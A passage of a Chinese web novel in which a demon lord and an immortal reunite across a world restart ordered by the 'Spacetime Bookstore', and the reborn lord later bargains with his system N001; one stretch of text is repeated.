后来,该角色逃离了自己的世界,还到处入侵别的书中世界,引发了前所未有的乱子。时空书局被闹了个人仰马翻,目前正全力通缉该NPC的行踪,人手严重缺乏。管理员也忙得跟陀螺似的,以至于疏忽了这一头,直到世界主线偏移度这么高了才发现不对劲。他看着所有显示着工作状态的系统和任务员名单,默默无言 怎么办?要知道,虽然中控系统连接着无数个书中世界,但它的主要职能是确认世界运 行状态,对单个书中世界的操控并不深入,只能进行简单粗暴的修正。……居然还失败了!真出了问题,他可是要扣绩效的啊!管理员简直焦头烂额,欲哭无泪。这时,就听电子门滴的一声。一队人推门而入。走在最前头的寸头青年身着战斗服,面色冷淡且肃杀,仿佛一具没有感情的仿生机器人。管理员认得他。他叫周显,是时空书局行动组的领袖。 管理员看他杀气凛然地走进来,还以为自己监管不力的事情被发现了,不料,下一瞬就听中控系统的警告音飙升, 【警告!世界遭到不明入侵!】 观察室内顿时红光大作。 “咔嗒。”周显的战 在地面敲出两道很利落的响声。他站在管理员身后,冷漠质询道:“查到高危通缉犯正在入侵这个世界,现在这个世界是怎么回事?”管理员暗暗舒了一口气。 时机正好。 他借故掩盖自己的工作过失,支吾着回答了几句,将世界主线偏移的问题推到了 高危通缉犯的身上,以至于该世界里的NPC也出现了难以解决的问题。说完,他咽了下口水,问周显, “周队长,你跟高危通缉犯交过手,有经验,现在这个情况……我该怎么处理?” 他的身后,高大健硕的寸头男人正望着红光闪烁的光屏,以及光屏上那一道身着玄色衣袍的背影。 周显表情不变,声线冷淡:“又有NPC觉醒了自我,企图偏移世界主线?” 管理员点了点头。 周显追击那个失控的通缉犯数月了,知道对方有多棘手,当机立断地下了指令, “重启这个世界,清空所有数据。” 管理员一下子从座位上窜起来,大惊失色道:“这么做太偏激了吧?!每一个 书中世界都是书局的资产,重启世界造成的能源损失不可计量,总局要是问责下来…周显冷漠阐述道: “这段时间他已经入侵了好几个书中世界,一旦被他成功入侵,这个世界也会跟前面那几个一样,被他所挟持。” “到那时,书局的任务系统再也无法介入,中控系统也没办法强制重启世界,能源损失会更大。” 管理员嗫嚅了一会儿,又道:. ……但我权限不够啊。”周显瞥了他一眼,一言不发,径直将左手佩戴的黑色手套摘了下来,随即整只手掌按在了操控台上,对中控系统下达了指令, “系统,重启世界。”【正在确认权限等级——】【指令已通过。】 【正在启动前置预热,即将重启0857号小说世界,系统提醒您,该世界的所有数据无法保留,不可复原——】整间观察室内,没人注意到在周显话音落下的那一瞬,光屏上的男人停下了脚步。 包括周显。 木屋外。 明修感受到某种迫切的意念,硬生生停下了脚步,不再前进。 那道意念,来自于他神魂深处。 正是与他神魂相融的鼎灵意识。 尽管这方鼎已经沦为魔兵,无时不刻散发着骇人的魔气,但它当初借着数十万生灵的一缕残魄补全了自身,用以鼎内魔气,与其抗衡。明修则是它选定的新一任主人。 在他与聂无洄隐居的数年间,鼎内魔气被净化了许多,鼎灵意识随之变得强悍。 “—— 明修感受着从神魂深处泛起的震荡,忽然明白了自己为什么会听到那道怪声。时至如今,他已经不会将那怪声误认为自己的心魔音了,毕竟心魔只会蛊惑人做出偏激之事,不可能将他削弱至筑基期。而明修首次听到那道名为‘系统’的怪声,是在他统一魔道,炼化一方天地,建立戮天宗的时候。他现在才知道,原来自己炼化那方天地之时,误打误撞跟天道意识建立了一丝若有若无的联系。现如今,世界即将被那道外来统治力量重启,迎来灭顶之灾,天道意识只好迫切地给明修传递讯息——半晌。明修怔怔地望着白衣男人的侧影,在天道意识的催促下,毅然决然地转身离开。他要前往黑海。 那里是上古仙魔战场遗迹,并且隐藏着魔界的入口,只要自己炼化了黑海,就能恢复修为,从而炼化整个世界。 要尽快。 在世界被外来力量重启之前,他必须炼化这个世界,尽可能地保留现在这个世界的痕迹。 明修急匆匆上路,不去想天道意识方才的提示:他现在不宜与聂无洄见面。 毕竟他不仅被系统修改了修为,连他人对自己的印象也被篡改了,因此…. 聂无洄可能已经忘了他。 也可能…… 想要杀了他。 久违的,明修感到无比愤怒。 不是因为天道意识的提醒,而是他再一次、明白了一个真实且残酷的事实。 在某些存在眼中,自己仍是一只蝼蚁。 亦或者说,在那些存在的心目中,整个世界都是蝼蚁般的、可支配的事物,而聂 无洄则是那些存在最为关注的角色,拥有被人为操控的‘主线’命运。与聂无洄相恋这件事,破坏了那条既定命运,于是明修就成了那些存在口中,必须抹杀或纠正的‘不正确’。 ……凭什么? 他不愿当蝼蚁,也绝不允许任何存在将聂无洄也当成蝼蚁一般掌控! 与此同时。 由于明修的修为被外来力量强行降至筑基期,戮天宗内的魔修忽感身上一轻,众人面面相觑片刻,争先恐后地逃离了戮天宗。有人欣喜若狂地欢呼: “死了!那个魔头肯定是死了!” “真是苍天有眼啊!” 这些魔修被压制了多年,很快掀起了无数风波,让仙魔两道的关系直转急下,变得岌岌可危起来。 新一轮仙魔之战,一触即发。 顾宸就是这时候找到聂无洄的。 当时,一向衣冠齐整的白衣仙君披散着长发,只裹了一层单薄的衣袍,神色淡淡地坐在小木屋中,手里还握着一卷书,视线却望着窗外的方向。看上去竟有几分失魂落魄的模样。 不知怎的,顾宸心头一震,忍不住凝视着男人那一截白皙骨感的手腕,失神了好一会儿。 片刻后。师徒俩都回了神。顾宸语速飞快,表明了正道的情况。桌案边。 聂无洄放下书,忍不住用指腹按压了几下太阳六,不明白自己为何有种空落落的感觉,“没想到在我闭关清修的时候,魔修竟又开始为祸人间了…”话音刚落,聂无洄愣了一下。闭关?清修?他本能地觉得不对劲。不等他深思,顾宸又催促道: “师尊,我们快些返回宗门吧,掌门与其他正道宗门正在商讨灭魔事宜…….聂无洄点头。迎着顾宸疑惑的目光,聂无洄才发现自己一步都没有动。像是在等待什么人回家一样。耳边仿佛有人在说, “——我去去就回,你就在这里坐着等我吧,到时候你一抬头,就能远远看到我往回走的身影了。”聂无洄的目光不自觉地穿过竹窗,注视着山野的方向。可他只望见一束洒落在地的野花,根茎歪歪扭扭,像是被人施与了过多的力道,花瓣凋零,颜色不再。……好狼狈。聂无洄还是离开了。紧接着,仙魔之战轰轰烈烈地拉开了序幕,两方死伤无数,好在正道有聂无洄,占了上风。就在胜负即将分晓之际, 黑海传来异动。 II …… 很快,众人感受着自己的修为,乃至于身体都逐渐化为雾气,恍然明悟:这个世界正在被炼化! 这件事让所有人倍感毛骨悚然。 于是,无论是正道,亦或是魔修都不顾上双方恩仇了,纷纷赶往黑海的方向,远远就望见一个玄衣男人立于高空,魔气冲天。聂无洄立在飞剑之上,疾行在最前方。 随着他的靠近,他看见那个玄衣男人缓缓转过身来,面容被凶煞之气笼罩,聂无洄只隐约瞧见那人生了一双眼尾上挑的杏眼。 随即,那双杏眼弯了弯。 男人长叹一口气,略带惋惜地说: “哎呀,双修三五年,我身上的魔气怎么越来越重了?无洄仙君可要帮帮我。” 聂无洄心神大震,说不出话来。 两人隔着老远对视,谁也没有移开眼。 明修没有暂缓炼化世界的速度,只是自顾自地说:“要是待会儿你提剑砍我,我不跟你生气,我知道你只是不记得我了……” 他顿了顿,老实地改口道: “好吧,单论这一点,我还是有点生气的,初见时我不是跟你说过了么,让你记好了呀”聂无洄微微恍神。 说着说着,明修耳边又响起那道极为刺耳的怪声:【前置工作已完成,世界将在一小时后正式重启,请耐心等待——】明修止住了话口。 然而,聂无洄却张开了嘴。白衣男人从怀里掏出一束干瘪的、破败的、失去鲜活色彩的野花,神色淡然,眼尾却泛着微微的红, “我才要生气吧?” 倏然间,明修仰天大笑。 他笑得眼泪都快出来了,然后指着自己的耳朵,对聂无洄说道: “听到了吗?那个鬼东西说‘世界主线偏移度为100%′,看来这个世界已经彻底没救了,因为你注定要爱我!” “哪怕重启一次,亦是如此!” 山谷中,小木屋逐渐化为尘雾。 唯有屋外的两朵小蘑菇岿然不动,全然不受影响的样子,仍旧如往常一般,紧紧贴在一起。 世界正在被炼化。 世界正在被重启。 重启后,修文程序仍在运行,对这个错乱的世界描补不停,将捕捉到的信息转化为推动世界主线的所谓‘命运’。 从此,世间没了魔尊明修,倒是多了个疯疯癫癫,神志不清的屠天霸,一听到自己的名字就失神,狂性大发。除此之外,重启后的世界还生成了一个新的补位角色:一个热衷于强取豪夺,喜 欢发出桀桀笑声,将主角囚禁以双修的下流医修,鼻梁上还生了粒鲜艳红痣。某些数据终究是被保留下来了。天道意识亦有所感念,凝结出一枚预言玉简,化作流星飞往占星派,为日后相遇的两人留下了一道启示。【并非相杀,而是相爱。】 另一头。 隐藏在该世界的入侵者躲过了并不彻底的重启,趁着数据正在重组的关头,入侵者成功锁定了新版原著中‘渣男前夫哥’数据包,然后…… “好耶,一键删除!” “溜了溜了,去下个世界搞事!” I……作者有话说?显示所有文的作话 [让我康康]来了,爱来自小鸟的手动更新!明天还是晚21:00存稿箱定点哦,如果那个时候没有更新的话,大家晚上就不要等了,小鸟不想大家因此熬夜~- PS:前世篇Over。 PSS:周显是下个单元的受害(咳,不是,是下个单元末世篇的幸运宿主!(白面团子坏笑 218、Chapter 218 时空书局,0857号世界观察室。 中央悬浮的巨型蓝色光屏像是被泼了腐蚀液,象征着危险的红光已然吞噬蓝光,中控系统的警报声一直在响—— 【警告!】 【该角色数据异常,无法完全覆盖!】 【世界主线偏移度正在上升!目前偏移指数为80%!】 光屏画面中。 玄衣青年的背影颀长高挑,一只手攥着新折的花束,叶片边缘沾着从他指缝中渗出的血渍,又缓缓凝成一滴血珠…… 滴答。 血珠化为一道数据流,消散于空气中。 观察室内。 听到中控系统的提示音,管理员恢复了平静的表情再度错愕起来,连忙问道:“不是,世界偏移度怎么还上涨了??”中控系统给出回答: “经系统分析,该角色见到主角聂无洄之后,两人相爱的可能性极高,因此世界主线仍处于偏移状态。”管理员听得脑袋都大了。他是时空书局众多管理员之一。 时空书局是一个庞大的机构,中控系统记录着无数个以小说为基体的平行世界,书局需要维持书中世界按照原著故事线正常运行,以此获取能量。这是一个分外艰巨的任务。 因为小说世界数量极多,总会有那么几个小世界出问题。 于是,时空书局设立了几个分工不同的部门,以应对世界运行出错的后续处理。 类似于世界主线偏移这种bug,时空书局处理过不少了。 按理说,只要派遣对应的系统前往该书中世界纠正故事主线就可以了。 然而,此时此刻。 时空书局正处于非常时期。 事情要从前几个月说起。 某一个以虐恋爱情小说为基体的书中世界,有个被设定为主角的渣男前任的角色觉醒了自我意识,不愿遵循世界主线,做出了一系列的反叛行为。 那是个社会背景极其高危的世界。那个角色更是危险的源头。 时空书局下达了数次修正任务,却在那人面前折戟而归。后来,该角色逃离了自己的世界,还到处入侵别的书中世界,引发了前所未有的乱子。时空书局被闹了个人仰马翻,目前正全力通缉该NPC的行踪,人手严重缺乏。管理员也忙得跟陀螺似的,以至于疏忽了这一头,直到世界主线偏移度这么高了才发现不对劲。他看着所有显示着工作状态的系统和任务员名单,默默无言。 "……怎么办?要知道,虽然中控系统连接着无数个书中世界,但它的主要职能是确认世界运行状态,对单个书中世界的操控并不深入,只能进行简单粗暴的修正。……居然还失败了!真出了问题,他可是要扣绩效的啊!管理员简直焦头烂额,欲哭无泪。这时,就听电子门滴的一声。一队人推门而入。走在最前头的寸头青年身着战斗服,面色冷淡且肃杀,仿佛一具没有感情的仿生机器人。管理员认得他。他叫周显,是时空书局行动组的领袖。 管理员看他杀气凛然地走进来,还以为自己监管不力的事情被发现了,不料,下一瞬就听中控系统的警告音飙升, 【警告!世界遭到不明入侵!】 观察室内顿时红光大作。 “咔嗒。”周显的战靴在地面敲出两道很利落的响声。他站在管理员身后,冷漠质询道:“查到高危通缉犯正在入侵这个世界,现在这个世界是怎么回事?”管理员暗暗舒了一口气。 时机正好。 他借故掩盖自己的工作过失,支吾着回答了几句,将世界主线偏移的问题推到了高危通缉犯的身上,以至于该世界里的NPC也出现了难以解决的问题。说完,他咽了下口水,问周显, “周队长,你跟高危通缉犯交过手,有经验,现在这个情况……我该怎么处理?” 他的身后,高大健硕的寸头男人正望着红光闪烁的光屏,以及光屏上那一道身着玄色衣袍的背影。 周显表情不变,声线冷淡:“又有NPC觉醒了自我,企图偏移世界主线?” 管理员点了点头。 周显追击那个失控的通缉犯数月了,知道对方有多棘手,当机立断地下了指令, “重启这个世界,清空所有数据。” 管理员一下子从座位上窜起来,大惊失色道:“这么做太偏激了吧?!每一个书中世界都是书局的资产,重启世界造成的能源损失不可计量,总局要是问责下来……”周显冷漠阐述道: “这段时间他已经入侵了好几个书中世界,一旦被他成功入侵,这个世界也会跟前面那几个一样,被他所挟持。” “到那时,书局的任务系统再也无法介入,中控系统也没办法强制重启世界,能源损失会更大。” 管理员嗫嚅了一会儿,又道:. ……但我权限不够啊。”周显瞥了他一眼,一言不发,径直将左手佩戴的黑色手套摘了下来,随即整只手掌按在了操控台上,对中控系统下达了指令, “系统,重启世界。” 【正在确认权限等级——】 【指令已通过。】 【正在启动前置预热,即将重启0857号小说世界,系统提醒您,该世界的所有数据无法保留,不可复原——】整间观察室内,没人注意到在周显话音落下的那一瞬,光屏上的男人停下了脚步。 包括周显。 木屋外。 明修感受到某种迫切的意念,硬生生停下了脚步,不再前进。 那道意念,来自于他神魂深处。 正是与他神魂相融的鼎灵意识。 尽管这方鼎已经沦为魔兵,无时不刻散发着骇人的魔气,但它当初借着数十万生灵的一缕残魄补全了自身,用以鼎内魔气,与其抗衡。明修则是它选定的新一任主人。 在他与聂无洄隐居的数年间,鼎内魔气被净化了许多,鼎灵意识随之变得强悍。“—_ 明修感受着从神魂深处泛起的震荡,忽然明白了自己为什么会听到那道怪声。 时至如今,他已经不会将那怪声误认为自己的心魔音了,毕竟心魔只会蛊惑人做出偏激之事,不可能将他削弱至筑基期。 而明修首次听到那道名为‘系统’的怪声,是在他统一魔道,炼化一方天地,建立戮天宗的时候。 他现在才知道,原来自己炼化那方天地之时,误打误撞跟天道意识建立了一丝若有若无的联系。 现如今,世界即将被那道外来统治力量重启,迎来灭顶之灾,天道意识只好迫切地给明修传递讯息—— 半晌。 明修怔怔地望着白衣男人的侧影,在天道意识的催促下,毅然决然地转身离开。 他要前往黑海。 那里是上古仙魔战场遗迹,并且隐藏着魔界的入口,只要自己炼化了黑海,就能恢复修为,从而炼化整个世界。 要尽快。在世界被外来力量重启之前,他必须炼化这个世界,尽可能地保留现在这个世界的痕迹。明修急匆匆上路,不去想天道意识方才的提示:他现在不宜与聂无洄见面。毕竟他不仅被系统修改了修为,连他人对自己的印象也被篡改了,因此….聂无洄可能已经忘了他。也可能….想要杀了他。久违的,明修感到无比愤怒。不是因为天道意识的提醒,而是他再一次、明白了一个真实且残酷的事实。在某些存在眼中,自己仍是一只蝼蚁。 亦或者说,在那些存在的心目中,整个世界都是蝼蚁般的、可支配的事物,而聂无洄则是那些存在最为关注的角色,拥有被人为操控的‘主线’命运。与聂无洄相恋这件事,破坏了那条既定命运,于是明修就成了那些存在口中,必须抹杀或纠正的‘不正确’。 ……凭什么? 他不愿当蝼蚁,也绝不允许任何存在将聂无洄也当成蝼蚁一般掌控! 与此同时。 由于明修的修为被外来力量强行降至筑基期,戮天宗内的魔修忽感身上一轻,众人面面相觑片刻,争先恐后地逃离了戮天宗。有人欣喜若狂地欢呼: “死了!那个魔头肯定是死了!” “真是苍天有眼啊!” 这些魔修被压制了多年,很快掀起了无数风波,让仙魔两道的关系直转急下,变得岌岌可危起来。 新一轮仙魔之战,一触即发。 顾宸就是这时候找到聂无洄的。 当时,一向衣冠齐整的白衣仙君披散着长发,只裹了一层单薄的衣袍,神色淡淡地坐在小木屋中,手里还握着一卷书,视线却望着窗外的方向。看上去竟有几分失魂落魄的模样。 不知怎的,顾宸心头一震,忍不住凝视着男人那一截白皙骨感的手腕,失神了好一会儿。 片刻后。 师徒俩都回了神。 顾宸语速飞快,表明了正道的情况。 桌案边。 聂无洄放下书,忍不住用指腹按压了几下太阳穴,不明白自己为何有种空落落的感觉,“没想到在我闭关清修的时候,魔修竟又开始为祸人间了….”话音刚落,聂无洄愣了一下。 闭关?清修?他本能地觉得不对劲。不等他深思,顾宸又催促道: “师尊,我们快些返回宗门吧,掌门与其他正道宗门正在商讨灭魔事宜……”聂无洄点头。迎着顾宸疑惑的目光,聂无洄才发现自己一步都没有动。像是在等待什么人回家一样。耳边仿佛有人在说, “——我去去就回,你就在这里坐着等我吧,到时候你一抬头,就能远远看到我往回走的身影了。”聂无洄的目光不自觉地穿过竹窗,注视着山野的方向。可他只望见一束洒落在地的野花,根茎歪歪扭扭,像是被人施与了过多的力道,花瓣凋零,颜色不再。……好狼狈。聂无洄还是离开了。紧接着,仙魔之战轰轰烈烈地拉开了序幕,两方死伤无数,好在正道有聂无洄,占了上风。就在胜负即将分晓之际, 黑海传来异动 很快,众人感受着自己的修为,乃至于身体都逐渐化为雾气,恍然明悟:这个世界正在被炼化!这件事让所有人倍感毛骨悚然。 于是,无论是正道,亦或是魔修都不顾上双方恩仇了,纷纷赶往黑海的方向,远远就望见一个玄衣男人立于高空,魔气冲天。聂无洄立在飞剑之上,疾行在最前方。 随着他的靠近,他看见那个玄衣男人缓缓转过身来,面容被凶煞之气笼罩,聂无洄只隐约瞧见那人生了一双眼尾上挑的杏眼。随即,那双杏眼弯了弯。 男人长叹一口气,略带惋惜地说: “哎呀,双修三五年,我身上的魔气怎么越来越重了?无洄仙君可要帮帮我。”聂无洄心神大震,说不出话来。 两人隔着老远对视,谁也没有移开眼。明修没有暂缓炼化世界的速度,只是自顾自地说:“要是待会儿你提剑砍我,我不跟你生气,我知道你只是不记得我了…….他顿了顿,老实地改口道: “好吧,单论这一点,我还是有点生气的,初见时我不是跟你说过了么,让你记好了呀……”聂无洄微微恍神。 说着说着,明修耳边又响起那道极为刺耳的怪声:【前置工作已完成,世界将在一小时后正式重启,请耐心等待——】明修止住了话口。 然而,聂无洄却张开了嘴。 白衣男人从怀里掏出一束干瘪的、破败的、失去鲜活色彩的野花,神色淡然,眼尾却泛着微微的红, “我才要生气吧?” 倏然间,明修仰天大笑。 他笑得眼泪都快出来了,然后指着自己的耳朵,对聂无洄说道: “听到了吗?那个鬼东西说‘世界主线偏移度为100%′,看来这个世界已经彻底没救了,因为你注定要爱我!”“哪怕重启一次,亦是如此!” “…”山谷中,小木屋逐渐化为尘雾。 唯有屋外的两朵小蘑菇岿然不动,全然不受影响的样子,仍旧如往常一般,紧紧贴在一起。世界正在被炼化。世界正在被重启。 重启后,修文程序仍在运行,对这个错乱的世界描补不停,将捕捉到的信息转化为推动世界主线的所谓‘命运’。从此,世间没了魔尊明修,倒是多了个疯疯癫癫,神志不清的屠天霸,一听到自己的名字就失神,狂性大发。除此之外,重启后的世界还生成了一个新的补位角色:一个热衷于强取豪夺,喜欢发出桀桀笑声,将主角囚禁以双修的下流医修,鼻梁上还生了粒鲜艳红痣。某些数据终究是被保留下来了。天道意识亦有所感念,凝结出一枚预言玉简,化作流星飞往占星派,为日后相遇的两人留下了一道启示。 【并非相杀,而是相爱。】 另一头。 隐藏在该世界的入侵者躲过了并不彻底的重启,趁着数据正在重组的关头,入侵者成功锁定了新版原著中‘渣男前夫哥’数据包,然后……“好耶,一键删除!” “溜了溜了,去下个世界搞事!” …… 219、Chapter 219 归清门,灵兆峰。 木屋后的角落,一面巴掌大的梳妆镜落在地上,镜面并非倒映着天穹,而是世界湮灭的最后一幕景象。 万籁寂静,幽暗无边。 男人几乎炼化了世间万物。 他立在无穷无尽的死寂中,只剩下怀中逐渐消散的白衣男人…… 倏然间,镜面凭空出现一道裂痕。 只听咔嚓一声—— 能够映射出他人神魂深处最悲恸之景的九幽忆煞镜应声而碎,一道流光自镜中脱身飞出,恢复了原本的模样。 是聂无洄。 “…” 系统空间内。 时刻关注着外界动向的N001,见上一条世界线的数据包播放完毕,眼疾手快地将误入其中的聂无洄驱逐出镜,独留宿主寄身于镜子道具中。此时此刻。 身为系统,N001只觉得自己的脑门上写着一个加粗加大的‘危’字,生怕宿主下一刻就要跟袍说些掏心窝子的话。 括弧,物理层面的‘掏心窝子’,括弧完毕。 由于改造镜子道具等举措,袍消耗了许多能量,圆溜溜的白胖身体缩水了一圈,像是漏了气的纯白气球。 袍的声音也好似漏了气,仿佛为自己倍受歧视和排挤的工作环境感到惆怅,小声嘟囔着, “哎,有这样的宿主居然是我自找的。”“真是失策,太失策了。” 但不知道为什么,N001没有再一口一个癫子宿主了,袍长吁短叹半天,终究还是在屠天霸面前现了身。 镜中。 通过一个很诡异的视角,屠天霸‘看’完前世始末,当一切落幕后,他独自留在九幽忆煞镜的虚无中,周遭是他很熟悉的血雾。恍如隔世。 唯有这四个字可以形容屠天霸的心情。 他忍不住闭上眼,指尖蜷起,眼前浮现着白衣男人逐渐消逝,神情却释然的面孔,胸腔随之传来一阵顿疼…… 就在这时候。 屠天霸忽然感受到一丝光亮。 他睁开眼,看到面前悬着一个小了一圈的皱巴光球,顿疼被另一股更加剧烈的愤怒盖过, “他呢?!”屠天霸攥住白色光球,只是还来不及用力,就听袍扯着电子音呜哇呜哇地嚎起来, “宿主,掌下留球!”“主角很安全,我只是先让他离开了,想跟宿主你单独说几句话而已!”“我知道宿主现在对‘系统’这种存在和出厂默认的‘电子客服声线’抱有极大的恶感,但我又不是什么正经系统……”“人家只是一个在黑心公司上班的薪水小偷啦,罪不至此啊!” “哼。”屠天霸没有松手,却也没有下重手。经此一遭,他充分理解了时空书局为何物。 传闻,在遥远的上古时代,世界之上还有世界,大世界可以吞噬小世界气运以壮大自身。在他看来,所谓时空书局,就是这般存在。他不是此刻才知道这个世界乃是书中世界。系统一早就跟他说过了。 只不过,最初被系统绑定时,屠天霸表现得满不在乎,看起来无所谓自己身处的世界本质如何。事实也确实如此。 修仙界之大,无奇不有。 再者说,就算有人忽然告诉他——你只是一个话本子里的人物,过往命运皆是一笔一划写下的潦草故事,无足轻重…… 他就要呼天抢地?道心破碎? 屠天霸只会给那个人一巴掌,然后说出那句自己不知道说了几遍的话。 ——闭嘴,吵死了。 后来,系统要求他做任务。 虽然屠天霸嘴上骂骂咧咧,不情不愿,但他在内心深处,并不畏惧任务失败的惩罚。凡事都有两面性。尽管他为炼魂鼎所困,却也因此有了不惧生死的资本。 直到这一刻。屠天霸才真的慌了神。如果不是自己看完了那本狗屁倒灶的原著小说,气上心头,想要去取了那个不孝徒弟的项上人头,系统担忧任务失败,给自己看了被覆盖的前世记忆……那他岂不是永远无法知道,自己跟聂无洄还有那一遭过往了?最初的原著故事已经不可考究,但总归是围绕主角聂无洄与顾宸展开的‘爱情’故事。那些交谈的声音,将其称之为…. 【世界主线】前世的他大概是什么反面角色。偏偏就是这样的他,与聂无洄相知相恋,破坏了主线,引来此世界之外的力量强行纠正。那股力量尤为强大,动辄间,竟能让整个世界湮灭重启,完全是超出修仙界想象的力量。宛如造物之主。天道意识在其面前,仿佛无力反抗的稚童。 因此,天道意识找到了跟自己有一线联系的魔尊头上,提示他炼化世界,这才使得世界重启后,许多地方都留下了前世痕迹。 隐隐约约,藏在面目全非的故事之下。 有一点却始终不变。 世界主线:主角聂无洄与顾宸的虐恋故事。 奈何重启后的世界又发生了变故,由魔尊明修衍生而来的炮灰角色‘屠医修’缺位,导致世界主线再度偏移。 这时候,自称为前夫哥扮演系统的存在出现了。绑定了被改变命运轨迹的屠天霸,也开启了两人新一段纠葛…… 前生今世,好似轮回一般。 他们仍旧相爱了。 思及此处,屠天霸的脸色缓和几分。 然而,下一瞬。 他又想起在时空书局的搅弄下,两人的初见已是面目全非,再加上系统发布的任务,是要求他扮演一个对聂无洄骗身骗心,趁火打劫,最后被聂无洄一剑捅死的下流医修不对。 是两剑!时空书局真是歹毒,非要让他们二人仇怨相对,不得相爱。屠天霸的眸光宛如刀剑,扎向掌中的光球。 这东西,正是时空书局派来的。 伪装成心魔的小细作! 作为超级Al系统,N001是没有痛觉的,数据化的躯体也不存在被捏爆的可能性,但在收到眼刀的第一时间,袍又开始呼天抢地, “统统我呀,跟宿主可是一条心,看我狠狠薅时空书局的积分,迟早让这个黑心公司入不敷出,给宿主泄愤!!” 屠天霸冷哼一声。 实际上,就算系统没有这一通表达立场的说辞,屠天霸也没打算对袖怎么样,否则时空书局再度折戟,恐怕又行其他干扰之举…… 弊远大于利。 倒不如维持现状。 屠天霸心中暗忖着,但系统像是他肚子里的蛔虫一样,忽然解释道: “嗨呀,宿主不必担心总局再来干扰世界线了,这是被入侵劫持过的世界,总局之所以下派系统——也就是我,绑定宿主修复剧情,只是为了避免世界塌陷后,病毒继续扩散啦,造成更大的能源损失而已。” “宿主放心,任务什么的,你随便做做就好了!总局管不到这边的,我就更好解决了,到时候捡点没人要的积分就走,绝不再来!” 袍呱唧呱唧地说了一堆。 莫名的,屠天霸如同前世的魔尊明修,忽然有了一股说不上来的感应,仿佛天道意识在他耳边悄然提醒着…… 可以信任。 屠天霸差点也给它一巴掌。 好险忍住了。 倒不是出于恶意,只是他习惯了。 可喜可贺,经过三年勤奋双修,屠天霸如今神智清明许多,骤然得知前世种种,也没有出现神魂失守的症状,整个人透出几分沉稳之气,对心魔的压制也精进了许多。假以时日…… 这些心魔音终将消散,不再搅扰他的神魂。于是,屠天霸仔细地想了想, 比起此世界被外部力量操控的过往危机,如今在修仙界搅弄风雨的魔物似乎不足为惧,算不得多大的麻烦。 其次,他与聂无洄心意相通,断然不可能反目成仇,更不容许第三人插足其间。 不会,不能,也不允许! 至于那个被屠天霸搁置的未完成任务? 阅尽前世种种,屠天霸倒觉得跟聂无洄演一出小医修强占失忆仙君的戏码别有一番趣味。 顺便在那个徒弟面前以正视听!屠天霸思来想去,只觉得未来一片坦途。 最后,他举起掌中的白色光球,问道:“对于现在的我来说,□□已经不是必须之物了,任务奖励[苏生也没什么用处,你好像很想要?” NO01:“.…” 想要是想要,但这么直白地说出来,就丧失了主动权,容易被宿主拿捏。 片刻后。 N001还是点了点头,电子音轻快活泼, “反正宿主也用不上嘛!” 袍适时地提醒道:“而且我帮宿主重塑了前世记忆哦,时空书局是绝不可能为宿主做这种事情的!” 说着,白色光球挺起胸膛,一副‘我为宿主付出良多,好系统应该得到奖励’的模样,心里却暗暗腹诽着,……啊,被男人握在掌心里的感觉好恶心。 袍脏了!但屠天霸不是能轻易被蛊惑的人。 闻言,他反问道:“不是你迫于无奈,怕我大开杀戒,才这般作为的吗?若非如此,恐怕你一直隐瞒此事,还想要我感谢你?”说完,屠天霸哼了一声, “就算本尊要谢,也要谢我自己,跟你有什么关系?如今分明是你有求于我,少在这里春秋笔法了,本尊不吃这套!”白色光球:“好难CPU的一个人。 也对。这个宿主已经被心魔念叨了三百多年了,却仍旧保持着最本源的坚韧底色,堪称修仙界的反CPU小达人。N001阴暗蛐蛐:绑定本土NPC就是这点不好,都没办法挟老婆以令宿主了,失去了中间商的主场优势!幸而N001能屈能伸。字面意义上的能屈能伸。袍伸出两个小揪揪搭在屠天霸的虎口处,底下两个类似于脚丫的揪揪晃了两下,摆弄可爱, “.……诶嘿!” 屠天霸忽然觉得有点反胃。 他撒开手,忽然道:“也不是不能将任务奖励转赠于你,但你要帮本尊办一件事情……” 半晌。 回到系统空间的白色光球长叹了一口气,语气哀怨,“香喷喷的积分,怎么就成了劳动所得了呢?这样不就变相代表我真的给时空书局打工了吗?真是恶心啊,恶心!!”“我的灵魂也脏了!” 另一头。 跟系统谈妥了条件的屠天霸主动脱离九幽忆煞镜。 他维持着之前蹲在地上的姿势,下意识地抬头回看,就见聂无洄竟还站在原地,神情恍惚极了。 刹那间,屠天霸又想起前世末尾,想起男人从怀中掏出的那一束干枯的花,像是掏出了自己的心脏。 他不知道前世的聂无洄是什么时候察觉到不对劲的,又是以怎么的心情坦然被炼化,待屠天霸回过神来,就发现自己怀里多了个人。 热的。 不会消失。 男人被他抵在墙边,一边顺着他的后背,一边轻声道:“.……我在。” 屠天霸紧闭着眼,感受着从男人胸膛传来的剧烈心跳,半晌才嗯了一声,嗓音嘶哑。 两人抱了许久。 还是屠天霸强忍着不舍,主动松了手。 他跟聂无洄对视片刻,小声说:“你就没有什么想问我的吗?” 聂无洄出来有一会儿了。 他注视着屠天霸,眸光描摹着这张介于少年与青年之间的面庞,脑海中已然浮现对方完全长开后的模样。 俊朗,恣意。 那双杏眼乌黑,倒映着小小的影子。是他自己。 聂无洄不自觉的笑了笑,轻声道:“好。” 片刻后。 两人回到屋里,面对面坐着,桌上还摆放着那面损坏的镜子。屠天霸坐不住,在椅子上扭了几下,挤到了聂无洄身边,攥住他的腕子。男人的脉搏强而有力。屠天霸感受着,稍稍安心。 他想了想,从袖中掏出一本书,递到聂无洄的手中。随着男人翻开书页的动作,屠天霸掩去了系统和时空书局的存在,缓缓讲述起来, “在某些人眼中,此世界就像是你手中的话本子,而你便是其中主角。”“我呢……因某些规则之力,需要扮演成一个对你做出虐身虐心之事的禽兽,完成任务,方能获得机缘。” 聂无洄没有显露出太多惊讶的情绪。修仙界隐藏着大大小小的机缘。修仙者更是逆天而行。前生今世,时光溯洄,并非不可能的事。 聂无洄的修为与心境非同一般,所见的离奇之事更不知几何,自然不会因为一本以自己为主角的话本而道心动摇。 他甚至有心情打趣屠天霸两句,“你这个恶人扮演得不太像。”屠天霸凝视着男人看书的侧脸,只觉得这画面似乎阔别许久了。他忍不住倾身上前,跟男人一起重温书册中的故事,轻声耳语着,. ……我哪里舍得啊?” 聂无洄腰背放松,好让身后之人的下巴搭在自己肩头,而屠天霸则习惯了得寸进尺,两只手顺势从身后环住他的腰,与他紧贴在一处。两人前胸贴后背,无比契合。 见男人正好翻到某段情节,屠天霸一改曾经的面红耳赤,心向往之,严肃声明道:“这话本子里的情节大多是虚构,算不得真!” 哼。 他们二人可是情投意合,天生一对,容不得这本破书来丑化他的形象! 聂无洄的视线落在一行行,一段段活色生香的语句间。 他沉默片刻,冷不丁地道了声, “.…….其实,也不是全然杜撰。” 经他提醒,屠天霸也想起了什么,忍不住心生感慨,语气却略有不甘, 